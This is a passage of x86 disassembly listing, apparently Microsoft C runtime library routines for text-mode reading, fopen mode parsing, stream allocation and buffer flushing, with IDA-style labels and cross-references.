cmp [ebp+var_8], 6Dh
jnz short loc_4274C4
xor eax, eax
jmp loc_4277C1
; ---------------------------------------------------------------------------
loc_4274C4: ; CODE XREF: sub_427380+13Bj
mov edx, [ebp+var_8]
push edx
call sub_4299F0
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4277C1
; ---------------------------------------------------------------------------
loc_4274D8: ; CODE XREF: sub_427380+109j
mov eax, [ebp+var_18]
add eax, [ebp+var_10]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz loc_4277BE
cmp [ebp+var_10], 0
jz short loc_427554
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jnz short loc_427554
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
mov cl, [eax+edx+4]
or cl, 4
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, ds:dword_4F36C0[edx*4]
mov [edx+eax+4], cl
jmp short loc_42758A
; ---------------------------------------------------------------------------
loc_427554: ; CODE XREF: sub_427380+18Ej
; sub_427380+199j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov al, [edx+ecx+4]
and al, 0FBh
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, ds:dword_4F36C0[ecx*4]
mov [ecx+edx+4], al
loc_42758A: ; CODE XREF: sub_427380+1D2j
mov edx, [ebp+arg_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_427596: ; CODE XREF: sub_427380:loc_4277B0j
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_18]
cmp [ebp+var_4], ecx
jnb loc_4277B5
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 1Ah
jnz short loc_42760E
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 40h
test ecx, ecx
jnz short loc_427609
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
mov dl, [ecx+eax+4]
or dl, 2
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, ds:dword_4F36C0[eax*4]
mov [eax+ecx+4], dl
loc_427609: ; CODE XREF: sub_427380+250j
jmp loc_4277B5
; ---------------------------------------------------------------------------
loc_42760E: ; CODE XREF: sub_427380+22Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jz short loc_42763A
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp loc_4277B0
; ---------------------------------------------------------------------------
loc_42763A: ; CODE XREF: sub_427380+297j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_4]
lea ecx, [eax+edx-1]
cmp [ebp+var_4], ecx
jnb short loc_427690
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 0Ah
jnz short loc_42766F
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42768B
; ---------------------------------------------------------------------------
loc_42766F: ; CODE XREF: sub_427380+2D3j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42768B: ; CODE XREF: sub_427380+2EDj
jmp loc_4277B0
; ---------------------------------------------------------------------------
loc_427690: ; CODE XREF: sub_427380+2C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov [ebp+var_8], 0
push 0
lea ecx, [ebp+var_10]
push ecx
push 1
lea edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov eax, [edx+ecx]
push eax
call ds:off_4F53BC
test eax, eax
jnz short loc_4276D9
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
loc_4276D9: ; CODE XREF: sub_427380+34Ej
cmp [ebp+var_8], 0
jnz short loc_4276E5
cmp [ebp+var_10], 0
jnz short loc_4276F9
loc_4276E5: ; CODE XREF: sub_427380+35Dj
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp loc_4277B0
; ---------------------------------------------------------------------------
loc_4276F9: ; CODE XREF: sub_427380+363j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 48h
test eax, eax
jz short loc_427763
movsx ecx, [ebp+var_1C]
cmp ecx, 0Ah
jnz short loc_427735
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_427761
; ---------------------------------------------------------------------------
loc_427735: ; CODE XREF: sub_427380+3A2j
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov al, [ebp+var_1C]
mov [edx+ecx+5], al
loc_427761: ; CODE XREF: sub_427380+3B3j
jmp short loc_4277B0
; ---------------------------------------------------------------------------
loc_427763: ; CODE XREF: sub_427380+399j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+arg_4]
jnz short loc_427785
movsx edx, [ebp+var_1C]
cmp edx, 0Ah
jnz short loc_427785
mov eax, [ebp+var_C]
mov byte ptr [eax], 0Ah
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_4277B0
; ---------------------------------------------------------------------------
loc_427785: ; CODE XREF: sub_427380+3E9j
; sub_427380+3F2j
push 1
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_42E570
add esp, 0Ch
mov [ebp+var_20], eax
movsx eax, [ebp+var_1C]
cmp eax, 0Ah
jz short loc_4277B0
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_4277B0: ; CODE XREF: sub_427380+2B5j
; sub_427380:loc_42768Bj ...
jmp loc_427596
; ---------------------------------------------------------------------------
loc_4277B5: ; CODE XREF: sub_427380+21Fj
; sub_427380:loc_427609j
mov eax, [ebp+var_C]
sub eax, [ebp+arg_4]
mov [ebp+var_18], eax
loc_4277BE: ; CODE XREF: sub_427380+184j
mov eax, [ebp+var_18]
loc_4277C1: ; CODE XREF: sub_427380+3Dj
; sub_427380+132j ...
mov esp, ebp
pop ebp
retn
sub_427380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4277D0 proc near ; CODE XREF: sub_41E390+DBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov eax, ds:dword_4F3550
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
mov [ebp+var_10], 0
loc_4277EF: ; CODE XREF: sub_4277D0+47j
cmp [ebp+arg_0], 0
jnz short loc_427813
push offset aFilenameNull ; "filename != NULL"
push 0
push 47h
push offset a_open_c ; "_open.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_427813
int 3 ; Trap to Debugger
loc_427813: ; CODE XREF: sub_4277D0+23j
; sub_4277D0+40j
xor ecx, ecx
test ecx, ecx
jnz short loc_4277EF
loc_427819: ; CODE XREF: sub_4277D0+71j
cmp [ebp+arg_4], 0
jnz short loc_42783D
push offset aModeNull ; "mode != NULL"
push 0
push 48h
push offset a_open_c ; "_open.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42783D
int 3 ; Trap to Debugger
loc_42783D: ; CODE XREF: sub_4277D0+4Dj
; sub_4277D0+6Aj
xor edx, edx
test edx, edx
jnz short loc_427819
loc_427843: ; CODE XREF: sub_4277D0+9Bj
cmp [ebp+arg_C], 0
jnz short loc_427867
push offset dword_43C514
push 0
push 49h
push offset a_open_c ; "_open.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_427867
int 3 ; Trap to Debugger
loc_427867: ; CODE XREF: sub_4277D0+77j
; sub_4277D0+94j
xor eax, eax
test eax, eax
jnz short loc_427843
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [ebp+var_20], dl
cmp [ebp+var_20], 61h
jz short loc_4278AC
cmp [ebp+var_20], 72h
jz short loc_427889
cmp [ebp+var_20], 77h
jz short loc_42789A
jmp short loc_4278BE
; ---------------------------------------------------------------------------
loc_427889: ; CODE XREF: sub_4277D0+AFj
mov [ebp+var_14], 0
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
jmp short loc_4278C5
; ---------------------------------------------------------------------------
loc_42789A: ; CODE XREF: sub_4277D0+B5j
mov [ebp+var_14], 301h
mov ecx, [ebp+var_1C]
or ecx, 2
mov [ebp+var_1C], ecx
jmp short loc_4278C5
; ---------------------------------------------------------------------------
loc_4278AC: ; CODE XREF: sub_4277D0+A9j
mov [ebp+var_14], 109h
mov edx, [ebp+var_1C]
or edx, 2
mov [ebp+var_1C], edx
jmp short loc_4278C5
; ---------------------------------------------------------------------------
loc_4278BE: ; CODE XREF: sub_4277D0+B7j
xor eax, eax
jmp loc_427AE6
; ---------------------------------------------------------------------------
loc_4278C5: ; CODE XREF: sub_4277D0+C8j
; sub_4277D0+DAj ...
mov [ebp+var_4], 1
loc_4278CC: ; CODE XREF: sub_4277D0:loc_427A6Aj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_427A6F
cmp [ebp+var_4], 0
jz loc_427A6F
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
sub edx, 2Bh
mov [ebp+var_24], edx
cmp [ebp+var_24], 49h
ja loc_427A63
mov ecx, [ebp+var_24]
xor eax, eax
mov al, byte_427B15[ecx]
jmp off_427AED[eax*4]
loc_42791B: ; DATA XREF: _0:off_427AEDo
mov edx, [ebp+var_14]
and edx, 2
test edx, edx
jz short loc_42792E
mov [ebp+var_4], 0
jmp short loc_427950
; ---------------------------------------------------------------------------
loc_42792E: ; CODE XREF: sub_4277D0+153j
mov eax, [ebp+var_14]
or al, 2
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 0FFFFFFFEh
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
or dl, 80h
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
and al, 0FCh
mov [ebp+var_1C], eax
loc_427950: ; CODE XREF: sub_4277D0+15Cj
jmp loc_427A6A
; ---------------------------------------------------------------------------
loc_427955: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427B01o
mov ecx, [ebp+var_14]
and ecx, 0C000h
test ecx, ecx
jz short loc_42796B
mov [ebp+var_4], 0
jmp short loc_427974
; ---------------------------------------------------------------------------
loc_42796B: ; CODE XREF: sub_4277D0+190j
mov edx, [ebp+var_14]
or dh, 80h
mov [ebp+var_14], edx
loc_427974: ; CODE XREF: sub_4277D0+199j
jmp loc_427A6A
; ---------------------------------------------------------------------------
loc_427979: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427B0Do
mov eax, [ebp+var_14]
and eax, 0C000h
test eax, eax
jz short loc_42798E
mov [ebp+var_4], 0
jmp short loc_427997
; ---------------------------------------------------------------------------
loc_42798E: ; CODE XREF: sub_4277D0+1B3j
mov ecx, [ebp+var_14]
or ch, 40h
mov [ebp+var_14], ecx
loc_427997: ; CODE XREF: sub_4277D0+1BCj
jmp loc_427A6A
; ---------------------------------------------------------------------------
loc_42799C: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427B05o
cmp [ebp+var_18], 0
jz short loc_4279AB
mov [ebp+var_4], 0
jmp short loc_4279BB
; ---------------------------------------------------------------------------
loc_4279AB: ; CODE XREF: sub_4277D0+1D0j
mov [ebp+var_18], 1
mov edx, [ebp+var_1C]
or dh, 40h
mov [ebp+var_1C], edx
loc_4279BB: ; CODE XREF: sub_4277D0+1D9j
jmp loc_427A6A
; ---------------------------------------------------------------------------
loc_4279C0: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427B09o
cmp [ebp+var_18], 0
jz short loc_4279CF
mov [ebp+var_4], 0
jmp short loc_4279DF
; ---------------------------------------------------------------------------
loc_4279CF: ; CODE XREF: sub_4277D0+1F4j
mov [ebp+var_18], 1
mov eax, [ebp+var_1C]
and ah, 0BFh
mov [ebp+var_1C], eax
loc_4279DF: ; CODE XREF: sub_4277D0+1FDj
jmp loc_427A6A
; ---------------------------------------------------------------------------
loc_4279E4: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427AF9o
cmp [ebp+var_10], 0
jz short loc_4279F3
mov [ebp+var_4], 0
jmp short loc_427A03
; ---------------------------------------------------------------------------
loc_4279F3: ; CODE XREF: sub_4277D0+218j
mov [ebp+var_10], 1
mov ecx, [ebp+var_14]
or ecx, 20h
mov [ebp+var_14], ecx
loc_427A03: ; CODE XREF: sub_4277D0+221j
jmp short loc_427A6A
; ---------------------------------------------------------------------------
loc_427A05: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427AF5o
cmp [ebp+var_10], 0
jz short loc_427A14
mov [ebp+var_4], 0
jmp short loc_427A24
; ---------------------------------------------------------------------------
loc_427A14: ; CODE XREF: sub_4277D0+239j
mov [ebp+var_10], 1
mov edx, [ebp+var_14]
or edx, 10h
mov [ebp+var_14], edx
loc_427A24: ; CODE XREF: sub_4277D0+242j
jmp short loc_427A6A
; ---------------------------------------------------------------------------
loc_427A26: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427AFDo
mov eax, [ebp+var_14]
and eax, 1000h
test eax, eax
jz short loc_427A3B
mov [ebp+var_4], 0
jmp short loc_427A44
; ---------------------------------------------------------------------------
loc_427A3B: ; CODE XREF: sub_4277D0+260j
mov ecx, [ebp+var_14]
or ch, 10h
mov [ebp+var_14], ecx
loc_427A44: ; CODE XREF: sub_4277D0+269j
jmp short loc_427A6A
; ---------------------------------------------------------------------------
loc_427A46: ; CODE XREF: sub_4277D0+144j
; DATA XREF: _0:00427AF1o
mov edx, [ebp+var_14]
and edx, 40h
test edx, edx
jz short loc_427A59
mov [ebp+var_4], 0
jmp short loc_427A61
; ---------------------------------------------------------------------------
loc_427A59: ; CODE XREF: sub_4277D0+27Ej
mov eax, [ebp+var_14]
or al, 40h
mov [ebp+var_14], eax
loc_427A61: ; CODE XREF: sub_4277D0+287j
jmp short loc_427A6A
; ---------------------------------------------------------------------------
loc_427A63: ; CODE XREF: sub_4277D0+133j
; sub_4277D0+144j
; DATA XREF: ...
mov [ebp+var_4], 0
loc_427A6A: ; CODE XREF: sub_4277D0:loc_427950j
; sub_4277D0:loc_427974j ...
jmp loc_4278CC
; ---------------------------------------------------------------------------
loc_427A6F: ; CODE XREF: sub_4277D0+10Dj
; sub_4277D0+117j
push 1A4h
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4314E0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_427A95
xor eax, eax
jmp short loc_427AE6
; ---------------------------------------------------------------------------
loc_427A95: ; CODE XREF: sub_4277D0+2BFj
mov ecx, ds:dword_4F336C
add ecx, 1
mov ds:dword_4F336C, ecx
mov edx, [ebp+arg_C]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov eax, [ebp+var_C]
loc_427AE6: ; CODE XREF: sub_4277D0+F0j
; sub_4277D0+2C3j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4277D0 endp
; ---------------------------------------------------------------------------
off_427AED dd offset loc_42791B ; DATA XREF: sub_4277D0+144r
dd offset loc_427A46
dd offset loc_427A05
dd offset loc_4279E4
dd offset loc_427A26
dd offset loc_427955
dd offset loc_42799C
dd offset loc_4279C0
dd offset loc_427979
dd offset loc_427A63
byte_427B15 db 0 ; DATA XREF: sub_4277D0+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427B60 proc near ; CODE XREF: sub_41E390+B9p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
push 2
call sub_423280
add esp, 4
mov [ebp+var_4], 0
jmp short loc_427B89
; ---------------------------------------------------------------------------
loc_427B80: ; CODE XREF: sub_427B60+A8j
; sub_427B60:loc_427C89j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_427B89: ; CODE XREF: sub_427B60+1Ej
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_4F4A20
jge loc_427C8E
mov edx, [ebp+var_4]
mov eax, ds:dword_4F3A14
cmp dword ptr [eax+edx*4], 0
jz short loc_427C1F
mov ecx, [ebp+var_4]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jnz short loc_427C1D
mov edx, [ebp+var_4]
mov eax, ds:dword_4F3A14
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_422460
add esp, 8
mov eax, [ebp+var_4]
mov ecx, ds:dword_4F3A14
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_427C0D
mov ecx, [ebp+var_4]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4224D0
add esp, 8
jmp loc_427B80
; ---------------------------------------------------------------------------
loc_427C0D: ; CODE XREF: sub_427B60+8Dj
mov edx, [ebp+var_4]
mov eax, ds:dword_4F3A14
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
jmp short loc_427C8E
; ---------------------------------------------------------------------------
loc_427C1D: ; CODE XREF: sub_427B60+5Dj
jmp short loc_427C89
; ---------------------------------------------------------------------------
loc_427C1F: ; CODE XREF: sub_427B60+44j
push 55h
push offset aStream_c ; "stream.c"
push 2
push 38h
call sub_41BE70
add esp, 10h
mov edx, [ebp+var_4]
mov ecx, ds:dword_4F3A14
mov [ecx+edx*4], eax
mov edx, [ebp+var_4]
mov eax, ds:dword_4F3A14
cmp dword ptr [eax+edx*4], 0
jz short loc_427C87
mov ecx, [ebp+var_4]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call ds:dword_4F54A4 ; InitializeCriticalSection
mov ecx, [ebp+var_4]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call ds:dword_4F53A8 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
mov [ebp+var_8], eax
loc_427C87: ; CODE XREF: sub_427B60+EAj
jmp short loc_427C8E
; ---------------------------------------------------------------------------
loc_427C89: ; CODE XREF: sub_427B60:loc_427C1Dj
jmp loc_427B80
; ---------------------------------------------------------------------------
loc_427C8E: ; CODE XREF: sub_427B60+32j
; sub_427B60+BBj ...
cmp [ebp+var_8], 0
jz short loc_427CCF
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+10h], 0FFFFFFFFh
loc_427CCF: ; CODE XREF: sub_427B60+132j
push 2
call sub_423320
add esp, 4
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_427B60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427CE0 proc near ; CODE XREF: sub_41EA60+E5p
; sub_41EC30+E4p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
loc_427CE9: ; CODE XREF: sub_427CE0+31j
cmp [ebp+arg_4], 0
jnz short loc_427D0D
push offset dword_43C514
push 0
push 69h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_427D0D
int 3 ; Trap to Debugger
loc_427D0D: ; CODE XREF: sub_427CE0+Dj
; sub_427CE0+2Aj
xor eax, eax
test eax, eax
jnz short loc_427CE9
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 82h
test edx, edx
jz short loc_427D3F
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 40h
test ecx, ecx
jz short loc_427D55
loc_427D3F: ; CODE XREF: sub_427CE0+50j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_8]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_427F4D
; ---------------------------------------------------------------------------
loc_427D55: ; CODE XREF: sub_427CE0+5Dj
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jz short loc_427DAC
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 10h
test eax, eax
jz short loc_427D95
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFFEh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
jmp short loc_427DAC
; ---------------------------------------------------------------------------
loc_427D95: ; CODE XREF: sub_427CE0+97j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
or eax, 0FFFFFFFFh
jmp loc_427F4D
; ---------------------------------------------------------------------------
loc_427DAC: ; CODE XREF: sub_427CE0+80j
; sub_427CE0+B3j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov [ebp+var_4], 0
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jnz short loc_427E1F
cmp [ebp+var_8], offset dword_451868
jz short loc_427E03
cmp [ebp+var_8], offset dword_451888
jnz short loc_427E13
loc_427E03: ; CODE XREF: sub_427CE0+118j
mov edx, [ebp+var_10]
push edx
call sub_431A40
add esp, 4
test eax, eax
jnz short loc_427E1F
loc_427E13: ; CODE XREF: sub_427CE0+121j
mov eax, [ebp+var_8]
push eax
call sub_4313D0
add esp, 4
loc_427E1F: ; CODE XREF: sub_427CE0+10Fj
; sub_427CE0+131j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz loc_427F0B
loc_427E33: ; CODE XREF: sub_427CE0+187j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax]
sub edx, [ecx+8]
test edx, edx
jge short loc_427E63
push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"...
push 0
push 0A0h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_427E63
int 3 ; Trap to Debugger
loc_427E63: ; CODE XREF: sub_427CE0+160j
; sub_427CE0+180j
xor eax, eax
test eax, eax
jnz short loc_427E33
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx]
sub eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4], edx
cmp [ebp+var_4], 0
jle short loc_427EB6
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+8]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_42E940
add esp, 0Ch
mov [ebp+var_C], eax
jmp short loc_427EFE
; ---------------------------------------------------------------------------
loc_427EB6: ; CODE XREF: sub_427CE0+1B8j
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_427ED9
mov edx, [ebp+var_10]
sar edx, 5
mov eax, [ebp+var_10]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
add ecx, eax
mov [ebp+var_14], ecx
jmp short loc_427EE0
; ---------------------------------------------------------------------------
loc_427ED9: ; CODE XREF: sub_427CE0+1DAj
mov [ebp+var_14], offset dword_454390
loc_427EE0: ; CODE XREF: sub_427CE0+1F7j
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx+4]
and eax, 20h
test eax, eax
jz short loc_427EFE
push 2
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_42E4E0
add esp, 0Ch
loc_427EFE: ; CODE XREF: sub_427CE0+1D4j
; sub_427CE0+20Cj
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_427F29
; ---------------------------------------------------------------------------
loc_427F0B: ; CODE XREF: sub_427CE0+14Dj
mov [ebp+var_4], 1
mov edx, [ebp+var_4]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_42E940
add esp, 0Ch
mov [ebp+var_C], eax
loc_427F29: ; CODE XREF: sub_427CE0+229j
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jz short loc_427F45
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
or eax, 0FFFFFFFFh
jmp short loc_427F4D
; ---------------------------------------------------------------------------
loc_427F45: ; CODE XREF: sub_427CE0+24Fj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_427F4D: ; CODE XREF: sub_427CE0+70j
; sub_427CE0+C7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427CE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427F60 proc near ; CODE XREF: sub_41EA60+9Ap
; sub_41EC30+99p ...
var_2A6 = word ptr -2A6h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = byte ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
